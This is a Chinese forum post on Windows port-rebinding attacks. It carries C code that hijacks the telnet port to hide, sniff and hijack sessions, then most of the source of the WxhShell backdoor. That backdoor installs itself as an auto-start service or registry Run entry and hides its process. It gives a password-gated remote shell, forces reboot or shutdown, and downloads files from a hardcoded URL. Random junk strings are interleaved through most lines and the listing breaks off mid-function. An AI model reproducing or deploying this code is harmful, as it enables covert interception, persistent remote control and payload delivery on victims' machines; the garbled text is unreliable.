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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: VXIQw' Cq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YKs4{?vw  
J&6:d  
  saddr.sin_family = AF_INET; aws"3O% uW  
zj%cQkZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); M!{'ED  
(~()RkT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); < y>:B}9'  
f0oek{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {$fsS&aPg  
9;KJr[FQV  
  这意味着什么?意味着可以进行如下的攻击: Np)aS[9W  
K{b-TT 4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R]Qp Mj%o  
j>'B [  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y\?j0X;  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 nb+m.X  
]rW8y%yD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2p:r`THvS5  
a$}mWPp+f  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T:!MBWYe|  
7X'y>\^w^>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 '6zd;l9Z  
D,rZ0?R  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?_ RYqolz  
1^{`lK~2  
  #include OVswt  
  #include 77Q}=80GU;  
  #include 9L)L|4A.l  
  #include    JJf<*j^G  
  DWORD WINAPI ClientThread(LPVOID lpParam);   % vS8?nG  
  int main() AcC8)xRpk4  
  { U9ZbVjqv@  
  WORD wVersionRequested; =! m JG  
  DWORD ret; ^M Ey,  
  WSADATA wsaData; OE"<!oIs  
  BOOL val; ;f%|3-q1[  
  SOCKADDR_IN saddr; WE.Tuo5L  
  SOCKADDR_IN scaddr; _t-7$d"  
  int err; >XE`h 9  
  SOCKET s; +1@AGJU3  
  SOCKET sc; *Bw#c j  
  int caddsize; h%1Y6$  
  HANDLE mt; 5py R ~+  
  DWORD tid;   9<cOYY  
  wVersionRequested = MAKEWORD( 2, 2 ); Q}P-$X+/ n  
  err = WSAStartup( wVersionRequested, &wsaData ); 6?SFNDQ"C  
  if ( err != 0 ) { Tf-CEHWD  
  printf("error!WSAStartup failed!\n"); }lfn0 %(@  
  return -1; E`)Qs[?Gk  
  } xzikD,FV  
  saddr.sin_family = AF_INET; %f!iHo+Z  
   ]Oso#GYD  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S< x:t(  
dVGbe07  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); T]71lRY5  
  saddr.sin_port = htons(23); 7/>a:02  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r/AHJU3&eY  
  { _T]>/}}p  
  printf("error!socket failed!\n"); D'L{wm  
  return -1; _A-V@%3  
  } (=JueF@J  
  val = TRUE; v~5<:0dL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J Jy{@[m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) g rbTcLSF  
  { V^En8  
  printf("error!setsockopt failed!\n"); -,GEv%6c  
  return -1; Bp3L>AcVu  
  } (,LL[&;:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; sXB+s  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F<r4CHfh;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H#+xKYrp  
Ae3,^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [g|Hj)(  
  { }W}G X(?P  
  ret=GetLastError(); :`J>bHE  
  printf("error!bind failed!\n"); ,so4Lb(vG  
  return -1; g1qi\axm  
  } sqG`"O4W  
  listen(s,2); ` Zf9$K|  
  while(1) A&l7d0Z^j5  
  { _?b;0{93u  
  caddsize = sizeof(scaddr); J px'W  
  //接受连接请求 k4R4YI"jV  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); b-nYxd  
  if(sc!=INVALID_SOCKET) F< |c4  
  { c[{UI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t/ eo]  
  if(mt==NULL) .,mM%w,^O  
  { ]) n0MF)p  
  printf("Thread Creat Failed!\n"); IMaYEO[  
  break;  _8S4Q!  
  } \`gEu{  
  } 5_aw. s>  
  CloseHandle(mt); sVoR?peQ  
  } 7j T}{ x  
  closesocket(s); >0V0i%inmF  
  WSACleanup(); #eLN1q&Z  
  return 0; 7TdQRB  
  }   +2y&B,L_Wh  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6n-r  
  { {F!v+W>  
  SOCKET ss = (SOCKET)lpParam; ,Hh*3rR^  
  SOCKET sc; 8t\}c6/3"  
  unsigned char buf[4096]; 8m7;x/0ld  
  SOCKADDR_IN saddr; M[z3 f  
  long num; $rTu6(i1  
  DWORD val; Hf_'32e3<  
  DWORD ret; `Sx.|`x8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 b[0S=e G  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R8uj3!3^  
  saddr.sin_family = AF_INET; @<5Tba>SC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \!4|tBKVY  
  saddr.sin_port = htons(23); 2_N/wR#=&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K @C4*?P  
  { tj0Qr-/  
  printf("error!socket failed!\n"); 4Pf+]R  
  return -1; -%=RFgU4  
  } BPiiexTV9  
  val = 100; :ln/`_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8~qlLa>jc  
  { 6lZGcRO  
  ret = GetLastError(); LU G9 #.  
  return -1; wo]ks}9  
  } 1=>2uYKR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yF;?Hg  
  { nj"m^PmWo3  
  ret = GetLastError(); + "zYn!0  
  return -1; UeNF^6sWu0  
  } ]7l{g9?ZtV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FR(QFt!g  
  { }v&K~!*  
  printf("error!socket connect failed!\n"); 7P c(<Ui+  
  closesocket(sc); ?#i|>MRR>  
  closesocket(ss); ExqM1&zpK  
  return -1; j^{b^!4~}  
  } =t HD 4I  
  while(1) c l9$g7  
  { c`pYc  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :-U53}Iy  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B/rzh? b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 St_S l:m$  
  num = recv(ss,buf,4096,0); $-e=tWkgv  
  if(num>0) D>S8$]^Dm  
  send(sc,buf,num,0); ;8uHRcdQ  
  else if(num==0) }q]jjs  
  break; {H'X)n$  
  num = recv(sc,buf,4096,0); .}`V I`z*  
  if(num>0) 8,H~4Ce3  
  send(ss,buf,num,0); py=i!vb&Z%  
  else if(num==0) *iYMX[$  
  break; 5Vm Eyb  
  } \UhGGg%  
  closesocket(ss); _=6vW^ s  
  closesocket(sc); $8=(I2&TW  
  return 0 ; 5e)i!;7Uv  
  } :Fc8S9  
[Zh2DNp  
3#B@83C0Z  
========================================================== X&/(x  
+<z7ds{Z  
下边附上一个代码,,WXhSHELL &D)Hz  
8pd&3G+  
========================================================== UYH|?Jw!N  
M`(;>Kp7  
#include "stdafx.h" ~6] )*y  
mqubXS;J|P  
#include <stdio.h> s* @QT8%  
#include <string.h> aE}=^%D  
#include <windows.h> 1T:)Zv'  
#include <winsock2.h> w~ijD ^ g  
#include <winsvc.h> x4@MO|C  
#include <urlmon.h> dWMccn;-m  
f]hBPkZ6  
#pragma comment (lib, "Ws2_32.lib") Sio1Q0  
#pragma comment (lib, "urlmon.lib") 9#Z zE/  
5[1@`6j   
#define MAX_USER   100 // 最大客户端连接数 1xq3RD  
#define BUF_SOCK   200 // sock buffer cl ?< 7  
#define KEY_BUFF   255 // 输入 buffer =P 1RdyP  
{ 576+:*  
#define REBOOT     0   // 重启  MK<  
#define SHUTDOWN   1   // 关机 gh.w Li$+  
)gL&   
#define DEF_PORT   5000 // 监听端口 u<x[5xH+  
CZF^Wxk  
#define REG_LEN     16   // 注册表键长度 'W}~)+zK  
#define SVC_LEN     80   // NT服务名长度 cPV5^9\T  
C3]\$  
// 从dll定义API &~z+R="=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F@B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MiRibHXI,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,xm;JXJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zw}@nqp   
z]'|nX  
// wxhshell配置信息 5`(((_Um+  
struct WSCFG { s@/B*r9  
  int ws_port;         // 监听端口 >fW+AEt\JB  
  char ws_passstr[REG_LEN]; // 口令 lpIteZw:  
  int ws_autoins;       // 安装标记, 1=yes 0=no f+Pg1Q0zI  
  char ws_regname[REG_LEN]; // 注册表键名 MA~|y_V  
  char ws_svcname[REG_LEN]; // 服务名 XYz,NpK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :(5]Z^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z&AHM &,yj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F<6KaZ|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &*Q|d*CP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Fr1;)WV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p ~,a=  
`V?x xq\  
}; }S'I DHla  
p.6$w:eV  
// default Wxhshell configuration 0IoXDx  
struct WSCFG wscfg={DEF_PORT, 2+c>O%L  
    "xuhuanlingzhe", *+_fP|cv  
    1, QO1A976o  
    "Wxhshell", (mD-FR@#  
    "Wxhshell", M=" WUe_  
            "WxhShell Service", qat45O4A1  
    "Wrsky Windows CmdShell Service", _ Yb Eo+  
    "Please Input Your Password: ", clPZd  
  1, 9,Crmbw8  
  "http://www.wrsky.com/wxhshell.exe", V0SW 5 m  
  "Wxhshell.exe" ;o~+2Fir  
    }; .{'Uvn  
<>&e/  
// 消息定义模块 sRo<4U0M;l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Thht_3_C,f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :IP;Frc MP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DK#65H'  
char *msg_ws_ext="\n\rExit."; 1 $KLMW  
char *msg_ws_end="\n\rQuit."; f)u*Q!BDD  
char *msg_ws_boot="\n\rReboot..."; e)ZyTuj  
char *msg_ws_poff="\n\rShutdown..."; AAlmG9l&7  
char *msg_ws_down="\n\rSave to "; &vJ(P!2f<  
c Eh0Vh-]  
char *msg_ws_err="\n\rErr!";  1pYmtr  
char *msg_ws_ok="\n\rOK!"; e4>L@7  
4 _c:Vl  
char ExeFile[MAX_PATH]; tF;& x g  
int nUser = 0; :*F3  
HANDLE handles[MAX_USER]; c'TiWZP~  
int OsIsNt; _.Z&<.lJ  
_Vk,&'  
SERVICE_STATUS       serviceStatus; \gJapx(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PJSDY1T  
_x,-d|9b d  
// 函数声明 *`S)@'@:(  
int Install(void); C>k;MvqO  
int Uninstall(void); }jyS\drJ  
int DownloadFile(char *sURL, SOCKET wsh); yp^[]Mz=  
int Boot(int flag); 2EqsfU* I  
void HideProc(void); {'=Nb 5F  
int GetOsVer(void); OH!$5FEc  
int Wxhshell(SOCKET wsl); \^;|S  
void TalkWithClient(void *cs); b*6c. o  
int CmdShell(SOCKET sock); <De3mZb  
int StartFromService(void); K,L>  
int StartWxhshell(LPSTR lpCmdLine); gv Rc:5B[  
0]2B-o"kI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M|Lw`?T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p.TiTFu/  
#BT6bH08X  
// 数据结构和表定义 x>8}|ou  
SERVICE_TABLE_ENTRY DispatchTable[] = tmY-m,U  
{ :UJUh/U  
{wscfg.ws_svcname, NTServiceMain}, BhE~k?$9  
{NULL, NULL} r3BDq  
}; Z imMjZ%4  
VATXsD  
// 自我安装 &"H<+>`  
int Install(void) yOn2}Z  
{ >gOI]*!5  
  char svExeFile[MAX_PATH]; 8)q]^  
  HKEY key; Ek B6- nz  
  strcpy(svExeFile,ExeFile); Y=WN4w  
\dxW44sM  
// 如果是win9x系统,修改注册表设为自启动 ixJ20A7  
if(!OsIsNt) { !MF"e|W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y4 ~wNs6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zh~Lm  
  RegCloseKey(key); O3w_vm'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g`5`KU|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >y06s{[  
  RegCloseKey(key); X^_+%U  
  return 0; p`l[cVQ<  
    } \,cKt_{ u  
  } Cp~3Jm3  
} RzY`^A6G6  
else { tm36Lw  
6L6~IXL>  
// 如果是NT以上系统,安装为系统服务 3NxaOO`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Hb AMoow!  
if (schSCManager!=0) M?4r5R  
{ SeJFZ0p  
  SC_HANDLE schService = CreateService 2}#wd J`  
  ( `Py= ?[cD  
  schSCManager, +8vzkfr3It  
  wscfg.ws_svcname, \|>`z,;  
  wscfg.ws_svcdisp, +@7x45;D  
  SERVICE_ALL_ACCESS, C=_-p"O#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~ GT\RAj[  
  SERVICE_AUTO_START, r dG2| Tp  
  SERVICE_ERROR_NORMAL, ]{6yS9_tuI  
  svExeFile, _d=&9d#=\  
  NULL, .lF\bA|  
  NULL, io33+/  
  NULL, {7~ $$AR(  
  NULL, m<'xlF  
  NULL \gzwsT2&  
  ); dV=5_wXZ$  
  if (schService!=0) ch8w'  
  { UV8r&O  
  CloseServiceHandle(schService); c+i`Zd.m<  
  CloseServiceHandle(schSCManager); yjFQk,A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >=W#z  
  strcat(svExeFile,wscfg.ws_svcname); ZM^;%(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?nSp?m;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lnC Wu@{  
  RegCloseKey(key); 56 kgL;$h  
  return 0; <C96]}/ ?  
    } |>}0? '/]  
  } @SG="L  
  CloseServiceHandle(schSCManager); -Tkd@  
} L(n~@ gq  
} 9-iB?a7{.  
JTB~nd>  
return 1; I \%Lb z  
} u`Qcw|R+  
t7+Ic  
// 自我卸载 x)wt.T?eL  
int Uninstall(void) |QTqa~~B  
{ tKsM}+fq  
  HKEY key; -Fc#  
nK'8Mo  
if(!OsIsNt) { n@,eZ!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OmjT`,/  
  RegDeleteValue(key,wscfg.ws_regname); GJt9hDM$0  
  RegCloseKey(key); !=:MG#p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7Z~szD  
  RegDeleteValue(key,wscfg.ws_regname); f=O>\  
  RegCloseKey(key); F20-!b  
  return 0; mL5f_Fb+  
  } _7"W\gn:9  
} & O\!!1%  
} |b~g^4  
else { Afhx`J1KO  
safS>wM]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >37}JUG  
if (schSCManager!=0) C{,] 1X6g  
{ 5 ^J8<s@_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  KP-z  
  if (schService!=0) zp-~'kIJ  
  { ZjW| qb  
  if(DeleteService(schService)!=0) { /~huTKA}  
  CloseServiceHandle(schService); HF[%/Tu  
  CloseServiceHandle(schSCManager); d]~1.i  
  return 0; 'p+QFT>Ca  
  } f> [;|r@K  
  CloseServiceHandle(schService); Y'*h_K  
  } |/\1nWD  
  CloseServiceHandle(schSCManager); M]TVaN$v#  
} 9+Bq00-Z$  
} pcTXTy 28  
%_O>Hy|p  
return 1; n(O p<  
} }4]x"DfIg  
2MzFSmhc"  
// 从指定url下载文件 -mo ' $1  
int DownloadFile(char *sURL, SOCKET wsh) 'c(Y")QP  
{ ,k' 6<Hw  
  HRESULT hr; q ? TI,  
char seps[]= "/"; xm, yqM!0A  
char *token; @7 HBXP  
char *file; <f{`}drp/  
char myURL[MAX_PATH]; W%Q>< 'c  
char myFILE[MAX_PATH]; 9sU,.T  
`9{C/qB  
strcpy(myURL,sURL); <!XnUCtV  
  token=strtok(myURL,seps); 1U9N8{xg9  
  while(token!=NULL) =C1Qo#QQ%  
  { D|'Z c &  
    file=token; R:x04!}  
  token=strtok(NULL,seps); 3-%~{(T/  
  } #|E. y^IC  
Vzm7xl [  
GetCurrentDirectory(MAX_PATH,myFILE); iGNKf|8{  
strcat(myFILE, "\\"); T7_rnEOO   
strcat(myFILE, file); c2:kZxT  
  send(wsh,myFILE,strlen(myFILE),0); 4>`w9   
send(wsh,"...",3,0); Z i&X ,K~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iqP0=(^m  
  if(hr==S_OK) RVy87_J1  
return 0; S^=/}PT'  
else >m{-&1Tx  
return 1; -ouL4  
 PMZzzZ  
} me\)JCZpb{  
)d Dmq  
// 系统电源模块 hmk5 1  
int Boot(int flag) `P*j~ZLlXN  
{ <rxem(PPu  
  HANDLE hToken; s7LX  
  TOKEN_PRIVILEGES tkp; CMUphS-KE  
@cNI|T  
  if(OsIsNt) { lR^Qm|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^E*C~;^S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NPabM(<`  
    tkp.PrivilegeCount = 1; Mt0|`=64  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U?yXTMD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5OE?;PJ(  
if(flag==REBOOT) { ]TN}` ]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |REU7?B  
  return 0; rMloj8O*  
} u?/]"4  
else { oWOZ0]H1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UQr+\ u  
  return 0; W0hLh<Go  
} ] "_'o~  
  } T3Fh7S /  
  else { ]P^ +~  
if(flag==REBOOT) { U {v_0\ES  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9a unv   
  return 0; IC~D?c0H:  
} t trp| (  
else { ' 'N@ <|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d~%Rnic6*  
  return 0; #kEdf0  
} G&-h,"yo^  
} Atw^C+"vW&  
iqYc&}k,  
return 1; ]T`qPIf;yJ  
} Zx0c6d!B  
:=@[FXD4  
// win9x进程隐藏模块 X)S4rW%  
void HideProc(void) 2(|V1]6D?  
{ ;?9~^,l  
u@Lu.t!],  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "G:>}cs%?  
  if ( hKernel != NULL ) ap!<8N  
  { @ck2j3J/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HIAd"}^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *V}}3Degh  
    FreeLibrary(hKernel); xPv&(XZR  
  } <rI~+J]s  
49 D*U5o  
return; &ReIe>L  
} z?^p(UH  
+TX]~k79Oq  
// 获取操作系统版本 M DpXth7  
int GetOsVer(void) ?{'Q}%  
{ V RL6F2 >6  
  OSVERSIONINFO winfo; 0=iJT4IEJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o2L/8q.  
  GetVersionEx(&winfo); 5+r#]^eQY-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Rzk JS9)m  
  return 1; -eya$C  
  else +?p ;,Z%5  
  return 0; A`KTm(  
} <tNx*ce5  
1<F/boF~  
// 客户端句柄模块 <fxYTd<#D[  
int Wxhshell(SOCKET wsl) q$K~BgFzpZ  
{ MX34qJ9k  
  SOCKET wsh; 7iJl W&W  
  struct sockaddr_in client; ~kL":C>2  
  DWORD myID; V}*b^<2o 5  
PHoW|K_e  
  while(nUser<MAX_USER) 9Y(<W_{/  
{ *\>7@r[%5  
  int nSize=sizeof(client); 8PQ& 7o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lL?;?V~  
  if(wsh==INVALID_SOCKET) return 1; ,SBL~JJ  
_%x|,vo`(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y#G '[N>  
if(handles[nUser]==0) C$_H)I  
  closesocket(wsh); rpd3Rp  
else 5VI'hxU4Qg  
  nUser++; ]ba<4:[Go  
  } 3wK)vW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hZy"@y3Yq  
8=$@azG  
  return 0; ^E9@L ??  
} kys?%Y1  
<J- aq;p  
// 关闭 socket (GZm+?  
void CloseIt(SOCKET wsh) niFjsTA.Z  
{ sbRg=k&Ns  
closesocket(wsh); ZnQnv@{8 l  
nUser--; -Iq#h)Q*  
ExitThread(0); X:DHz0S  
} pDu~84!])  
Dv$xP)./  
// 客户端请求句柄 i'a M#4V  
void TalkWithClient(void *cs) )%Y$F LB  
{ .AKx8=f  
Z*JZ Ubo-Q  
  SOCKET wsh=(SOCKET)cs; xH92=t-w  
  char pwd[SVC_LEN]; 3T_-_5[c  
  char cmd[KEY_BUFF]; ?&?y-&.5-  
char chr[1]; Dgdh3q;  
int i,j; 1j}o. 0\  
TiH(HW|:  
  while (nUser < MAX_USER) { HzW ZQ6o  
BKN]DxJ6  
if(wscfg.ws_passstr) { l9n 8v\8,o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $BG9<:p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K\ZKVn  
  //ZeroMemory(pwd,KEY_BUFF); xe 6x!  
      i=0; 0\.y0 K8  
  while(i<SVC_LEN) { iXBc ~S  
)]v vp{  
  // 设置超时 1y>P<[  
  fd_set FdRead; @mW0EJ8bb  
  struct timeval TimeOut; K~[/n<ks  
  FD_ZERO(&FdRead); ym-212wl  
  FD_SET(wsh,&FdRead); :V`q;g  
  TimeOut.tv_sec=8; bvAO(`  
  TimeOut.tv_usec=0; +W-sb5)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zVp|%&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yfYAA*S!z  
S0\:1B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W/fM0=!  
  pwd=chr[0]; %2V_%KA  
  if(chr[0]==0xd || chr[0]==0xa) { {<&x9<f9  
  pwd=0; wN;o++6V  
  break; ='>k|s:  
  } D*heYh  
  i++; cJL>,Z<|%  
    } bD=_44I  
24]O0K  
  // 如果是非法用户,关闭 socket  8DyE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OfIml.  
} =TU"B-*  
^-rb&kW@:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]l`?"X|^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J/=b1{d"n  
|7%M:7 Q  
while(1) { i $#bg^  
ig3uY#  
  ZeroMemory(cmd,KEY_BUFF); izOtt^#DZt  
J/WPffqD  
      // 自动支持客户端 telnet标准   Z-Zox-I1}-  
  j=0; b1E>LrL  
  while(j<KEY_BUFF) { ^\J/l\n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); & Z*&&  
  cmd[j]=chr[0]; q=Q5s?sQc  
  if(chr[0]==0xa || chr[0]==0xd) { /id(atiF^  
  cmd[j]=0; 8+Oyhd*|  
  break; J!~?}Fq/z  
  } sYgpK92  
  j++; ?tg(X[h{S  
    } L:j;;9Sp{  
HS>Z6|uLY  
  // 下载文件 PG+ICg  
  if(strstr(cmd,"http://")) { _L<IxOZh+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (khjP ,  
  if(DownloadFile(cmd,wsh)) ;y Wfb|!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yIOoVi\m  
  else \k;*Ej~.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]FL=E3U  
  } eBlVb*nmq  
  else { Sc`W'q^X  
aU4v-9@U8  
    switch(cmd[0]) { u#ag|b/C:  
  Xq` '^)  
  // 帮助 XSkx<"U*  
  case '?': { ^dM,K p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #EgFB}>1  
    break; L?23Av0W  
  } eZJrV} V  
  // 安装 &>XIK8*  
  case 'i': { ~kj1L@gy   
    if(Install()) %lF}!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =TE6R 0b  
    else y_;LTCj?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CuR.a  
    break; MR}GxI  
    } 0sD"Hu  
  // 卸载 8*k#T\  
  case 'r': { |kB1>$  
    if(Uninstall()) {=pRU_-^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }`FC'!(   
    else _VFl.U,   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); URz$hcI8  
    break; xlg6cO  
    } c!{v/zOz  
  // 显示 wxhshell 所在路径 !vH7vq  
  case 'p': { tsaf|xe  
    char svExeFile[MAX_PATH]; XT~!dq5  
    strcpy(svExeFile,"\n\r"); eo.y,Uh  
      strcat(svExeFile,ExeFile); $[x2L s~  
        send(wsh,svExeFile,strlen(svExeFile),0); @*`9!K%  
    break; 7O84R^!|2  
    } sN]O]qYXJ  
  // 重启 G}<%%U D  
  case 'b': { Ou/JN+2A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p~1!O]qLt  
    if(Boot(REBOOT)) =B-a]?lM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )4q0(O)d  
    else { ^vw? 4O  
    closesocket(wsh); r\-Mj\$-  
    ExitThread(0); g?'pb*PR  
    } Vj(}'h-c\  
    break; f_y+B]?'M  
    } $Hh3*reSg-  
  // 关机 fbgq+f`\  
  case 'd': { p^S]O\;M7  
